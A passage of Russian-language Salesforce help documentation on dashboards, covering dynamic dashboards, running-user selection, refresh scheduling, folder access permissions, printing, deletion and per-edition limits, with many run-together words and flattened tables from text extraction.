пришлось бы создать несколько папок для управления полномочиями доступа.

Динамические панели мониторинга позволяют создать всего две панели и сохранить их в одну папку.

• Создайте динамическую панель мониторинга для торговых представителей, содержащую следующие компоненты:

– Шкала по общему количеству заказов

– Таблица действий по типу конференции

• Создайтединамическуюпанельмониторингадляменеджеровивице-президента, содержащуюследующиекомпоненты:

– Шкала по общему количеству заказов

– Вертикальная диаграмма курсов закрытия по конкуренту

• При необходимости создайте фильтры для дополнительного уточнения представлений панели мониторинга.
Например, создайте фильтр по ключевым организациям для просмотра заказов, действий и конкурентных рисков
по каждой организации.

Каждому пользователю отображаются только доступные ему данные. Торговым представителям отображаются их
собственные заказы и действия. Менеджерам отображаются заказы и курсы закрытия подчиненных торговых
представителей. Вице-президенту отображаются заказы и курсы закрытия всей рабочей группы. Вице-президенту и
менеджерам доступны одни и те же показатели, поэтому для обеих ролей может использоваться одна динамическая
панельмониторинга. Такимобразом, использованиединамическихпанелеймониторингапозволилосократитьколичество
обязательных панелей мониторинга с 45 до двух!

1. Настройка динамических панелей мониторинга
Чтобы настроить динамическую панель мониторинга, переключитесь на представление Salesforce Classic. Создайте
папку, где будет храниться панель мониторинга и ее основные отчеты, а затем создайте панель мониторинга.

СМ. ТАКЖЕ:

Фильтры панели мониторинга

Создание панели мониторинга Salesforce Classic

Настройка динамических панелей мониторинга
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Настройка динамических панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
динамических панелей
мониторинга:
• «Запуск отчетов» И

«Управление
динамическими
панелямимониторинга»

Для включения
возможности выбора
другого текущего
пользователя панели
мониторинга:
• «Просмотр панелей

мониторинга моей
рабочей группы» ИЛИ
«Просмотр всех данных»

Чтобынастроитьдинамическуюпанельмониторинга, переключитесьнапредставление
Salesforce Classic. Создайтепапку, гдебудет хранитьсяпанельмониторингаи ееосновные
отчеты, а затем создайте панель мониторинга.

Организацияподдерживаетнеболеепятидинамическихпанелеймониторинга в версии
Enterprise Edition, десяти в версиях Unlimited Edition и Performance Edition и трех в версии
Developer Edition.

Прим.:

• Динамические панели мониторинга можно просматривать в Salesforce Classic и
Lightning Experience, однако для их настройкинужнопереключиться в Salesforce
Classic.

• Динамические панели мониторинга не могут храниться в личных папках.

• Динамические панели мониторинга не поддерживают планирование
обновлений. Они должны обновляться вручную.

1. Создайте папки для хранения динамических панелей мониторинга и
соответствующих исходных отчетов для компонентов. Данные папки должны быть
доступны всем соответствующим пользователям панели мониторинга.

2. Добавьте новую панель мониторинга или измените текущую панель на вкладке
«Панели мониторинга».

3. Нажмите кнопку напротив поля «Просмотр панели мониторинга как:».

Прим.: Вслучаеотсутствияполномочия «Управлениединамическимипанелями
мониторинга» введите имя текущего пользователя и перейдите к последнему
действию. Чтобы просмотреть список всех доступных пользователей, введите
символ «*».

4. Установите переключатель «Запустить в качестве пользователя, выполнившего
вход в систему».

5. Принеобходимостиустановитефлажок «Разрешить авторизованным пользователям
изменение текущего пользователя», чтобы разрешить изменение текущего
пользователя на странице просмотра панели мониторинга.

• Пользователи с полномочием «Просмотр панелей мониторинга моей рабочей группы» могут просматривать
панели мониторинга в качестве подчиненных им пользователей в иерархии ролей.

• Пользователисполномочием «Просмотрвсехданных» могутредактироватьипросматриватьпанелимониторинга
в качестве любого пользователя организации.

• Несмотря на отсутствие полномочия «Просмотр всех данных» и роли текущего пользователя, пользователи с
полномочием «Включение панели мониторинга другого пользователя» могут редактировать доступные панели
мониторинга.

6. Нажмите кнопку «OK».

7. Введите имя текущего пользователя в поле «Просмотр панели мониторинга как:».

8. Сохраните панель мониторинга.

9. Заполните поле «Показать» на странице запуска отчета.
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Например, при выборе значения «Возможности моей рабочей группы» отображаются все возможности рабочей
группы.

Совет: Чтобыизбежатьограниченногодоступакданнымпанелимониторинга, выполнитеуказанныенижедействия.

• Убедитесь, что расширенные фильтры не содержат конкретных ответственных за записи (например,
«"Ответственный за возможность" равно "Иван Петров"»).

• При сохранении отчетов по возможностям рекомендуем не устанавливать флажок «Сохранить уровень
иерархии».

СМ. ТАКЖЕ:

Добавление фильтра панели мониторинга

Настройка индивидуальных просмотров панели мониторинга

Выбор текущего пользователя панели мониторинга
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Выбор текущего пользователя панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
панелей мониторинга:

• «Запуск отчетов» И
«Управление панелями
мониторинга»

Для создания,
редактирования и удаления
динамических панелей
мониторинга:

• «Запуск отчетов» И
«Управление
динамическими
панелямимониторинга»

Для включения
возможности выбора
другого текущего
пользователя панели
мониторинга:
• «Просмотр панелей

мониторинга моей
рабочей группы» ИЛИ
«Просмотр всех данных»

Чтобы определить данные, которые должны отображаться на панели мониторинга,
выберите текущего пользователя.

Каждойпанелимониторинганазначаетсятекущийпользователь, параметрыбезопасности
которого определяют данные, доступные для отображения.

Прим.: Полномочие «Управление динамическими панелями мониторинга»,
необходимоедля выбора текущегопользователя, недоступнов версииProfessional
Edition.

Полномочие «Просмотр всех данных» позволяет выбирать любого пользователя
организации в качестве текущего пользователя панели мониторинга. Полномочие
«Просмотр панелей мониторинга моей рабочей группы» позволяет выбирать любого
нижестоящего пользователя в иерархии ролей.

Прим.: Компонентыпанелимониторинга, использующиеVisualforce, пропускают
поле текущего пользователя. Содержимое отображается только в том случае, если
пользователь имеет доступ к странице Visualforce. Данная особенность не
распространяется на другие компоненты панели мониторинга.

Пользователислицензиейплатформы Salesforce Platform или Salesforce Platform Oneмогут
просматриватьпанельмониторинга толькоприналичиитакойжелицензииу текущего
пользователя панели мониторинга. Для пользователей с разными типами лицензий
могут быть созданы отдельные панели мониторинга.

Чтобывыбрать текущегопользователяпанелимониторинга, переключитесьна Salesforce
Classic и выполните следующие действия.

1. Измените панель мониторинга.

2. Нажмите кнопку напротив поля «Просмотр панели мониторинга как:».

Прим.: Вслучаеотсутствияполномочия «Управлениединамическимипанелями
мониторинга» введите имя текущего пользователя и перейдите к последнему
действию. Чтобы просмотреть список всех доступных пользователей, введите
символ «*».

3. Выберите нужный вариант.

• «Запуститьвкачествеопределенногопользователя».Дляотображенияпанели
мониторинга используются параметры безопасности отдельного пользователя.
Независимо от личных параметров безопасности, всем пользователям
отображаются одни и те же данные. Данный вариант позволяет предоставлять
общий доступ к большому изображению в иерархии или стимулировать
участников рабочей группы путем отображения их сравнительной
производительности. В случае отсутствия полномочия «Просмотр всех данных»
можновыбрать толькосебя.Полномочие «Просмотрпанелеймониторингамоей
рабочей группы» позволяет выбирать любого нижестоящего пользователя в иерархии ролей.

• «Запустить в качестве пользователя, выполнившего вход в систему». Для отображения динамической панели
мониторинга используются параметры безопасности пользователя, просматривающего панель мониторинга.
Данные, доступныенапанелимониторинга, определяютсяуровнемдоступакаждогопользователя. Данныйвариант
позволяет администраторам предоставлять пользователям с разным уровнем доступа общий доступ к одному
набору компонентов панели мониторинга.
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4. При необходимости установите флажок «Разрешить авторизованным пользователям изменение текущего
пользователя», чтобы разрешить изменение текущего пользователя на странице просмотра панели мониторинга.

• Пользователи с полномочием «Просмотр панелей мониторинга моей рабочей группы» могут просматривать
панели мониторинга в качестве подчиненных им пользователей в иерархии ролей.

• Пользователисполномочием «Просмотрвсехданных» могутредактироватьипросматриватьпанелимониторинга
в качестве любого пользователя организации.

• Несмотря на отсутствие полномочия «Просмотр всех данных» и роли текущего пользователя, пользователи с
полномочием «Включение панели мониторинга другого пользователя» могут редактировать доступные панели
мониторинга.

Прим.: При наличии полномочия «Просмотр панелей мониторинга моей рабочей группы» или «Просмотр
всех данных» пользователь может открыть страницу редактирования панели мониторинга в качестве другого
пользователя, но изменить текущего пользователя на странице просмотра панели мониторинга можно только
при наличиифлажка «Разрешить авторизованным пользователям изменение текущего пользователя».

5. Нажмите кнопку «OK».

6. Введите имя текущего пользователя в поле «Просмотр панели мониторинга как:».

7. Сохраните панель мониторинга.

Запуск и чтение панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Щелкните по имени панели мониторинга, чтобы запустить ее. Панель мониторинга
содержитинтерактивныедиаграммы, наведитекурсорищелкнитепонимдляполучения
дополнительной информации.

1. Обновление данных панели мониторинга
Чтобыобновитьтекущиеданныепанелимониторинга, нажмитекнопку«Обновить».
Данные отображаются по состоянию на дату и время, которые указаны в поле «На
дату...», расположенном в верхнем правом углу панели мониторинга.

2. Планирование обновления панели мониторинга
Версии Enterprise Edition, Unlimited Edition и Performance Edition позволяютпланировать
ежедневное, еженедельное или ежемесячное обновление панелей мониторинга.
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Обновление данных панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для обновления данных
панели мониторинга:
• «Запуск отчетов» И

доступ к папке панелей
мониторинга

Чтобы обновить текущие данные панели мониторинга, нажмите кнопку «Обновить».
Данные отображаются по состоянию на дату и время, которые указаны в поле «На
дату...», расположенном в верхнем правом углу панели мониторинга.

1. Чтобы обновить данные панели мониторинга, нажмите кнопку «Обновить».
При обновлении данных панели мониторинга кнопка «Обновить» отображается
как «Обновление...». Обновлениеданныхпанелимониторингаможет выполняться
параллельно другим функциям Salesforce. После завершения обновления панели
мониторинга приложение Salesforce1 отображает уведомление о готовностипанели
мониторинга. Обновления панелей мониторинга не поддерживают всплывающие
уведомления, поэтому пользователю отображаются только внутрипрограммные
уведомления.

Совет: Попытки обновления данных предпринимаются в течение 10 минут,
после чего обновление автоматически завершается. При необходимости
повторно нажмите кнопку «Обновить».

Обновленные данные отображаются для всех пользователей организации, имеющих
доступксоответствующейпанелимониторинга. Дополнительныезапросы, отправленные
во время обновления или в течение первой минуты после завершения обновления,
пропускаются, а пользователям отображаются самые последние данные.

Приизменениифильтровпанельмониторингаотображаетранеекэшированныеданные
(при их наличии). При отсутствии данных панель мониторинга извлекает последние
данные. Так или иначе, параметр панели мониторинга «Последнее обновление» содержит временную отметку для
просматриваемых данных. Чтобы извлечь последние данные, нажмите кнопку «Обновить».
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Планирование обновления панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для планирования и
отправки обновления
панели мониторинга по эл.
почте:
• «Планирование панелей

мониторинга»

Для удаления
запланированного
обновления панели
мониторинга:
• «Изменение всех

данных»

Версии Enterprise Edition, Unlimited Edition и Performance Edition позволяют планировать
ежедневное, еженедельное или ежемесячное обновление панелей мониторинга.

Прим.: Пользователи с полномочием «Просмотр настройки и конфигурации»
могут просмотреть все запланированные панели мониторинга организации на
странице «Всезапланированныезадания». Чтобыпросмотретьвсезапланированные
задания, введите строку «Запланированные задания» вполе «Быстрый поиск» вменю
«Настройка», затем выберите «Запланированные задания». Пользователи с
полномочием «Изменение всех данных» могут выбрать ссылку «Удал.» напротив
нужного запланированного обновления и удалить все его экземпляры без
возможности восстановления.

Позавершенииобновлениясистема Salesforce можетотправитьэлектронноеуведомление,
содержащее HTML-версию панели мониторинга. Если приложение для работы с эл.
почтой не поддерживает HTML, то данное уведомление будет содержать текст и ссылку
на панель мониторинга.

1. Выберите нужную панель мониторинга в поле «Просмотр панели мониторинга»
на вкладке «Панели мониторинга».

2. Нажмите кнопку «Обновить» и выберите пункт «Запланировать обновление...».

Фильтрынеприменяютсяприпланированииилиотправкепанелимониторингапо
эл. почте.

Каждой панели мониторинга назначается текущий пользователь, параметры
безопасности которого определяют данные, доступные для отображения.

Прим.: Деактивациятекущегопользователяпрепятствует выполнениюпанели
мониторинга.

3. Чтобы настроить параметры уведомления, выполните указанные ниже действия.

• Чтобы отправить сообщение эл. почты на собственный адрес, установите флажок «Мне».

• Чтобы отправить сообщение эл. почты дополнительным пользователям Salesforce, установите флажок «Другим
пользователям...».

Прим.: Пользователи портала получают электронные уведомления об обновлении отчетов и панелей
мониторинга только в том случае, если включен параметр «Разрешить отправку отчетов и панелей
мониторинга пользователям портала».

• Уведомления об обновлении панели мониторинга могут отображаться некорректно в приложении Outlook 2007.

• Чтобывыполнитьвходв системуSalesforceипросмотретьпанельмониторинга, щелкнитеимяпанелимониторинга
в HTML-уведомлении об обновлении.

• Чтобы отправить уведомление об обновлении панели мониторинга другим пользователям, сохраните панель
мониторинга в общедоступную папку. Панели мониторинга, хранящиеся в личных папках, недоступны другим
пользователям. Чтобы добавить панель мониторинга в общедоступную папку, измените свойства панели
мониторинга.

• Чтобы просмотреть исходный отчет в системе Salesforce, щелкните компоненты в уведомлении об обновлении
панели мониторинга.
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• Компоненты панели мониторинга, которые содержат страницы Visualforce и элементы S-Control, могут не
отображаться в уведомленияхобобновлениипанелимониторинга. Пользователимогутпросмотретьих в системе
Salesforce.

• Уведомления об обновлении панели мониторинга могут быть просмотрены в автономном режиме в почтовых
клиентах.

• При наличиифильтров отправляется по эл. почте только нефильтрованная версия панели мониторинга.

• По умолчанию сообщения эл. почты с панелями мониторинга, отправляемые системой Salesforce, содержат
графические файлы .png, которые не поддерживаются приложением Lotus Notes. Чтобы разрешить системе
Salesforce использование графических файлов .jpg, поддерживаемых приложением Lotus Notes, при отправке
панелей мониторинга по эл. почте, установите флажок «Использовать изображения, совместимые с Lotus

Notes, в сообщениях эл. почты с панелями мониторинга». Данный параметр отображается только при
наличии полномочия «Планирование панелей мониторинга».

Прим.: Размер сообщений эл. почты, содержащих изображения, которые поддерживаются приложением
Lotus Notes, значительно больше, а качество изображений может быть ниже.

4. Чтобы запланировать обновление, выполните указанные ниже действия.

a. Установите нужный переключатель в поле «Частота».

Чтобы просмотреть дополнительные значения, установите переключатель «Ежедневно», «Еженедельно» или
«Ежемесячно».

Общее количество и частота выполнения запланированных обновлений панели мониторинга определяются
используемой версией Salesforce. Версии Enterprise Edition, Unlimited Edition и Performance Edition позволяют
планироватьнеболее200обновленийпанелимониторинга. Версии Unlimited Edition иPerformance Edition позволяет
планировать не более двух обновлений в час в течение дня, тогда как версия Enterprise Edition — не более одного
обновлениявчас в течениедня.Дополнительныезапланированныепанелимониторингамогутбытьприобретены
отдельно. Дополнительную информацию можно получить в компании Salesforce.

b. Выберите даты в полях «Начать» и «Завершить».

Панелимониторингаобновляютсявчасовомпоясепользователя, запланировавшегоданноеобновление. Например,
если поле «Часовой пояс» в записи пользователя содержит стандартное тихоокеанское время, а панель
мониторинга должна обновляться каждый день в 14:00, то панель мониторинга будет обновляться ежедневно с
14:00 до 14:29 по стандартному тихоокеанскому времени.Если запланированное обновление просматривается и
сохраняется в другом часовом поясе, то временной интервал может быть изменен.

c. Чтобы выбрать время, щелкните ссылку «Найти доступные варианты...» в поле «Предпочтительное время
начала».

Панельмониторингаобновляется в течение 30 минутсмоментанаступленияпредпочтительноговремениначала.
Например, обновление, запланированное на 14:00, может быть выполнено в промежутке с 14:00 до 14:29, в
зависимости от загруженности системы.

Прим.: Предпочтительноевремяначаламожетбытьнедоступнов томслучае, еслионоужевыбранодругими
пользователями.

• Панель мониторинга, обновление которой запланировано на определенный день каждого месяца, обновляется
только в те месяцы, которые содержат этот день. Например, панель мониторинга, обновление которой
запланировано на 31 число каждого месяца, обновляется только в те месяцы, которые содержат 31 день. Чтобы
выполнять обновление в последний день каждого месяца, выберите значение «Последний» в раскрывающемся
списке «числа каждого месяца».
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• Запланированноеобновлениепанелеймониторинга выполняется тольков томслучае, еслитекущийпользователь
имеет доступ к папке панелей мониторинга.

• При наличиифильтров обновляется только нефильтрованная версия панели мониторинга.

• Динамические панели мониторинга не поддерживают планирование обновлений. Они должны обновляться
вручную.

5. Нажмите кнопку «Сохранить».

Чтобы удалить запланированное обновление панели мониторинга, последовательно выберите пункты «Обновить» >
«Запланировать обновление...» > «Отменить планирование панели мониторинга».

Запланированноеобновлениеудаляетсябез возможностивосстановления, поэтомунеперемещается в корзину. Удаление
запланированного обновления не влияет на саму панель мониторинга.

СМ. ТАКЖЕ:

Применение фильтра панели мониторинга

Обновление данных панели мониторинга

Предоставление общего доступа к панели мониторинга

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Панели мониторинга позволяют беспрепятственно предоставлять коллегам общий
доступ к рекомендованному интерактивному набору данных.

Прим.: При использовании папок обратите внимание на ограничения Lightning
Experience ниже.

Функции, недоступные в Lightning Experience

Notes about Lightning Experience
Availability

Функция

Standard Folders, containing default
reports and dashboards that come
packaged with Salesforce

Move Reports and Dashboards between
Folders

Folders created in Salesforce Classic and
their contents are available in Lightning

Create and Delete Report and Dashboard
Folders

Experience. Users can save inside these
folders when creating or cloning a report
or dashboard.

Sharing permissions set on folders in
Salesforce Classic are obeyed in Lightning

Share Report and Dashboard Folders

Experience, but sharing permissions can’t
be set nor changed.

Lightning Experience не позволяет
пользователям выполнять поиск

Search for Report and Dashboard Folders

папок отчетов и панелей
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Notes about Lightning Experience AvailabilityФункция

мониторинга. Результатыглобальногопоискасодержат
отчеты и панели мониторинга, но не их папки.

1. Управление доступом к отчетам и панелям мониторинга
Доступ к отчетам и панелям мониторинга определяется параметрами соответствующих папок. Чтобы предоставить
другим пользователям доступ к собственным отчетам или панелям мониторинга, сохраните их в общедоступную
папку. Чтобы запретить другим пользователям доступ к собственным отчетам, сохраните их в личные папки.

2. Печать панели мониторинга
Печать панелей мониторинга может быть выполнена посредством функции печати, доступной в обозревателе.

Управление доступом к отчетам и панелям мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Папки отчетов недоступны
в версиях: Contact
Manager, Group Edition и
Personal Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
общедоступных папок
отчетов:
• «Управление

общедоступными
отчетами»

Для создания,
редактирования и удаления
общедоступных папок
панелей мониторинга:
• «Управление панелями

мониторинга» И
«Просмотр всех данных»

Доступ к отчетамипанеляммониторингаопределяетсяпараметрамисоответствующих
папок. Чтобы предоставить другим пользователям доступ к собственным отчетам или
панелям мониторинга, сохраните их в общедоступную папку. Чтобы запретить другим
пользователям доступ к собственным отчетам, сохраните их в личные папки.

Чтобы получить доступ к папкам отчетов или панелей мониторинга, откройте вкладку
«Отчеты». Чтобы создать папку, щелкните значок на панели «Папки» вкладки
«Отчеты» и выберите «Создать папку отчетов» или «Создать папку панелей

мониторинга». Чтобы изменить папку, щелкните значок .

Нижеперечисленырекомендациипоредактированиюотчетовилипанелеймониторинга,
созданных другимипользователями, а также попредоставлениюдругимпользователям
общего доступа к отчетам.

• Содержимое папки может быть изменено только при наличии доступа «Для чтения
и записи». Папки, доступные только для чтения, могут быть удалены или изменены
только при наличии полномочия «Управление общедоступными отчетами» или
«Управлениеобщедоступнымипанелямимониторинга». Независимоотполномочий
или параметров папок, изъятые папки и личные папки других пользователей не
могут быть изменены.

• Администраторыилипользователисполномочиями «Управлениеобщедоступными
отчетами» и «Созданиеинастройкаотчетов» могут создаватьнастраиваемыеотчеты,
доступные всем пользователям для просмотра. Кроме того, они могут
систематизироватьотчетыпутемсозданияпапокнастраиваемыхотчетовинастройки
групп соответствующих пользователей. Обратите внимание, что общедоступные
отчетыипапкиотчетовнедоступныв версиях Personal Edition, Contact ManagerиGroup
Edition.

• Чтобы предоставить общий доступ к отчету, запустите отчет и нажмите кнопку
«Сохранить как». Введите имя отчета и выберите общедоступную папку отчетов.

4220

Панели мониторингаAnalytics



1. Доступ к папкам отчетов
Доступ к папкам определяется полномочиями. Общие, скрытые и общедоступные папки отчетов доступны
пользователям только при наличии соответствующих полномочий.

2. Доступ к папкам панелей мониторинга
Доступ к папкам определяется полномочиями. Общие, скрытые и общедоступные папки панелей мониторинга
доступны пользователям только при наличии соответствующих полномочий.

СМ. ТАКЖЕ:

Доступ к папкам панелей мониторинга

Доступ к папкам отчетов

Доступ к папкам отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Папки отчетов недоступны
в версиях: Contact
Manager, Group Edition и
Personal Edition.

Доступкпапкамопределяетсяполномочиями. Общие, скрытыеиобщедоступныепапки
отчетов доступны пользователям только при наличии соответствующих полномочий.

В таблице ниже перечислены полномочия, необходимые пользователям для доступа к
трем разным типам папок отчетов: общие, скрытые и общедоступные.

Прим.: Полномочие «Просмотр отчетов в общедоступных папках» доступно
только в организациях с расширенным общим доступом к отчетам и панелям
мониторинга. Организациисрасширеннымобщимдоступомкотчетамипанелям
мониторинга используют «Просмотр всех данных».

Общие папки
Нижеперечисленыполномочия, применяемыекпапкамсоследующимипараметрами
доступности:

• Данная папка доступна всем пользователям, включая пользователей портала.

• Данная папка доступна всем пользователям, кроме пользователей портала.

Полномочия для доступа к папкам,
доступным для чтения/записи

Полномочия для доступа к папкам,
доступным только для чтения

Уровень доступа

Любое из следующих полномочий:Любое из следующих полномочий:Чтение

• «Запуск отчетов»• «Просмотр отчетов в общедоступных
папках» • «Управлениеобщедоступнымиотчетами»

• «Запуск отчетов» • «Просмотр всех данных»
• «Управлениеобщедоступнымиотчетами»

• «Просмотр всех данных»

«Создание и настройка отчетов»«Управление общедоступными отчетами»Создание

«Управление общедоступными отчетами»«Управление общедоступными отчетами»Изменение/удаление

Скрытые папки
Ниже перечислены полномочия, применяемые к папкам со следующим параметром доступности:

• Данная папка скрыта от всех пользователей.
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Полномочия для доступа к папкам,
доступным для чтения/записи

Полномочия для доступа к папкам,
доступным только для чтения

Уровень доступа

«Просмотр всех данных»Любое из следующих полномочий:Чтение

• «Просмотр отчетов в общедоступных
папках»

• «Просмотр всех данных»

«Управление общедоступными отчетами»«Управление общедоступными отчетами»Создание

«Управление общедоступными отчетами»«Управление общедоступными отчетами»Изменение/удаление

Прим.: Параметр «Скрытыепапки» доступентольковорганизацияхбезрасширенногообщегодоступакотчетам
и панелям мониторинга. Эквивалент для организаций с расширенным общим доступом к отчетам и панелям
мониторинга — это папка без набора параметров общего доступа, то есть папка, к которой ни у кого нет явного
доступа.

Общедоступные папки

Полномочия для доступа к папкам,
доступным для чтения/записи

Полномочия для доступа к папкам,
доступным только для чтения

Уровень доступа

Любое из следующих полномочий:Любое из следующих полномочий:Чтение

• «Запуск отчетов» (для пользователей с
общим доступом)

• «Просмотр отчетов в общедоступных
папках»

• «Запуск отчетов» (для общедоступных
пользователей)

• «Управлениеобщедоступнымиотчетами»
(для общедоступных пользователей)

•• «Управлениеобщедоступнымиотчетами» «Просмотр всех данных»

• «Просмотр всех данных»

«Создание и настройка отчетов» (для
общедоступных пользователей)

«Управление общедоступными отчетами»Создание

«Управление общедоступными отчетами»«Управление общедоступными отчетами»Изменение/удаление

СМ. ТАКЖЕ:

Включение расширенного общего доступа к отчетам и панелям мониторинга
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Доступ к папкам панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Папки отчетов недоступны
в версиях: Contact
Manager, Group Edition и
Personal Edition.

Доступкпапкамопределяетсяполномочиями. Общие, скрытыеиобщедоступныепапки
панелей мониторинга доступны пользователям только при наличии соответствующих
полномочий.

В таблице ниже перечислены полномочия, необходимые пользователям для доступа к
трем разным типам папок панелей мониторинга: общие, скрытые и общедоступные
папки.

Общие папки
Нижеперечисленыполномочия, применяемыекпапкамсоследующимипараметрами
доступности:

• Данная папка доступна всем пользователям, включая пользователей портала.

• Данная папка доступна всем пользователям, кроме пользователей портала.

Полномочия для доступа к
папкам, доступным для
чтения/записи

Полномочия для доступа к
папкам, доступным только
для чтения

Уровень
доступа

«Запуск отчетов»«Запуск отчетов»Чтение

Оба следующих полномочия:Все следующие полномочия:Создание

• «Запуск отчетов»• «Запуск отчетов»

• «Управление панелями
мониторинга»

• «Управление панелями
мониторинга»

• «Просмотр всех данных»

Все следующие полномочия:Все следующие полномочия:Изменение/удаление

• «Запуск отчетов»• «Запуск отчетов»

• «Управление панелями
мониторинга»

• «Управление панелями
мониторинга»

•• «Просмотр всех данных»«Просмотр всех данных»

Скрытые папки
Ниже перечислены полномочия, применяемые к папкам со следующим параметром доступности:

• Данная папка скрыта от всех пользователей.

Полномочия для доступа к папкам,
доступным для чтения/записи

Полномочия для доступа к папкам,
доступным только для чтения

Уровень доступа

Оба следующих полномочия:Оба следующих полномочия:Чтение

• «Запуск отчетов»• «Запуск отчетов»

• •«Просмотр всех данных» «Просмотр всех данных»

Все следующие полномочия:Все следующие полномочия:Создание

• «Запуск отчетов»• «Запуск отчетов»
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Полномочия для доступа к папкам,
доступным для чтения/записи

Полномочия для доступа к папкам,
доступным только для чтения

Уровень доступа

• «Управление панелями мониторинга» • «Управление панелями мониторинга»

•• «Просмотр всех данных»«Просмотр всех данных»

Все следующие полномочия:Все следующие полномочия:Изменение/удаление

• «Запуск отчетов»• «Запуск отчетов»

• «Управление панелями мониторинга» • «Управление панелями мониторинга»

•• «Просмотр всех данных»«Просмотр всех данных»

Общедоступные папки

Полномочия для доступа к папкам,
доступным для чтения/записи

Полномочия для доступа к папкам,
доступным только для чтения

Уровень доступа

«Запуск отчетов»«Запуск отчетов»Чтение

Оба следующих полномочия:Все следующие полномочия:Создание

• «Запуск отчетов»• «Запуск отчетов»

• «Управление панелями мониторинга» • «Управление панелями мониторинга»

• «Просмотр всех данных»

Все следующие полномочия:Все следующие полномочия:Изменение/удаление

• «Запуск отчетов»• «Запуск отчетов»

• «Управление панелями мониторинга» • «Управление панелями мониторинга»

•• «Просмотр всех данных»«Просмотр всех данных»
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Печать панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для печати панелей
мониторинга:
• «Запуск отчетов» И

доступ к папке панелей
мониторинга

Печать панелей мониторинга может быть выполнена посредством функции печати,
доступной в обозревателе.

• Чтобыширинастраницыпозволяланапечататьвсетристолбцапанелимониторинга,
выберите альбомную ориентацию.

• При необходимости измените размер столбцов и удалите верхние и нижние
колонтитулы, добавленные обозревателем.

Систематизация панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Сортировка панелей мониторинга по папкам и удаление ненужных отчетов позволяют
упроститьпроцессихпоиска. Приналичиибольшогоколичестваотчетоврекомендуем
использовать поле поиска.

1. Удаление панели мониторинга
При необходимости панели мониторинга могут быть удалены.
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Удаление панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления панелей
мониторинга:
• «Запуск отчетов» И

«Управление панелями
мониторинга»

Для удаления панелей
мониторинга, созданных
другим пользователем:
• «Управление панелями

мониторинга» И
«Изменение всех
данных»

При необходимости панели мониторинга могут быть удалены.

Приудалениипанелимониторинга выполняется удалениевсех ее компонентов. Однако
настраиваемые отчеты, используемые компонентами, сохраняются.

Удаленные панели мониторинга перемещаются в корзину.

Чтобыудалитьпанельмониторинга в Lightning Experience, откройтепанельмониторинга
и щелкнитеУдалить.

Чтобы удалить панельмониторинга в Salesforce Classic, выполните следующие действия.

1. Откройте вкладку «Панели мониторинга».

2. Щелкните ссылку «Перейти к списку панелей мониторинга».

3. Выберите нужную папку.

4. Щелкните ссылку «Удал.» напротив заголовка нужной панели мониторинга.

Ограничения для панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

При создании панелей мониторинга по данным Salesforce учитывайте существующие
пределы, ограниченияиразличияпанелеймониторинга в Lightning Experienceи Salesforce
Classic.

Ограничения отчетов и панелей мониторинга Salesforce

Developer
Edition

Unlimited
Edition
и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

20202020202020Количество
фильтровполяна
отчет1
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

5555555Количество формул на
отчет

1 в час2

(только
2 в час21 в час21 в час2

(только
———Запланированныеотчеты

(Размер электронного
отчета не должен
превышать 10 Мб.)

часы
неполной
нагрузки3)

(Не более
трех

часы
неполной
нагрузки3)

(Не более
трех

предпочтительныхпредпочтительных
временвремен
начала;начала;
данноеданное
значениезначение
не можетне может
быть
изменено)

быть
изменено)

3 на панель
мониторинга

3 на панель
мониторинга

3 на панель
мониторинга

3 на панель
мониторинга

———Фильтры панели
мониторинга

Не более
трех на
организацию

Неболее10
на
организацию

Не более
пяти на
организацию

————Динамические панели
мониторинга

—2 в час21 в час2————Запланированные
обновления панели
мониторинга

4002,00020050———Типы настраиваемых
отчетов

(Ограничения
применяются ко всем
типам настраиваемых
отчетов, независимо от
статуса разработки.)

1 в час2

(только
2 в час21 в час21 в час2

(только
———Отчетные снимки
